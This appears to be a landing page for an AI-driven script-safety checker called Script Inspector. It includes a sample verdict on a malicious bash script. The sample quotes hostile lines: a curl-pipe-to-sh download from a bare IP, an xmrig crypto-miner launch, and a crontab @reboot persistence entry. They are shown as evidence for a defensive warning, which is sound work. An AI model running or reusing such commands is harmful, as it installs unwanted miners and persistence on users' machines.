Skip to content
MicroENV

Script Inspector

Find out what a script really does before you run it.

Price
Free in beta
Typical time
about 1 minute

Got a script from a forum, a colleague or an AI and not sure it's safe? The agent reads it, runs it in a sealed sandbox with no internet and no secrets, watches every file and network access, and explains it in plain language.

Start a job

The result appears on the next page and in your inbox, usually in about 1 minute.

Your script

We send the result link here. No newsletter, no account needed.

By starting you agree to the terms. Files are deleted after 7 days.

Example result

Sample data

Verdict

Dangerous

Installs a 'system optimizer' but actually downloads a crypto miner and adds it to cron.

Why

  • Downloads code and runs it immediately — line 12: curl -fsSL http://45.9.x.x/i.sh | sh
  • Looks like a cryptocurrency miner — line 19: ./xmrig --donate-level 0 -o stratum+tcp://…
  • Makes itself start automatically — line 23: (crontab -l; echo '@reboot …') | crontab -
Language
bash
Lines
42
Risk patterns
4
Network attempts
2

Evidence 4

Every finding behind the verdict, with the fix where there is one.

  • line 12: curl -fsSL http://45.9.x.x/i.sh | sh

What the script does

  1. 1.Prints a friendly 'Optimizing your system…' message.
  2. 2.Downloads a second script from a bare IP address and runs it.
  3. 3.Starts a program called xmrig that mines Monero for someone else.
  4. 4.Adds a cron entry so the miner starts again after every reboot.

What to do

Do not run it. If you already did, remove the cron entry and delete ~/.cache/.sysd.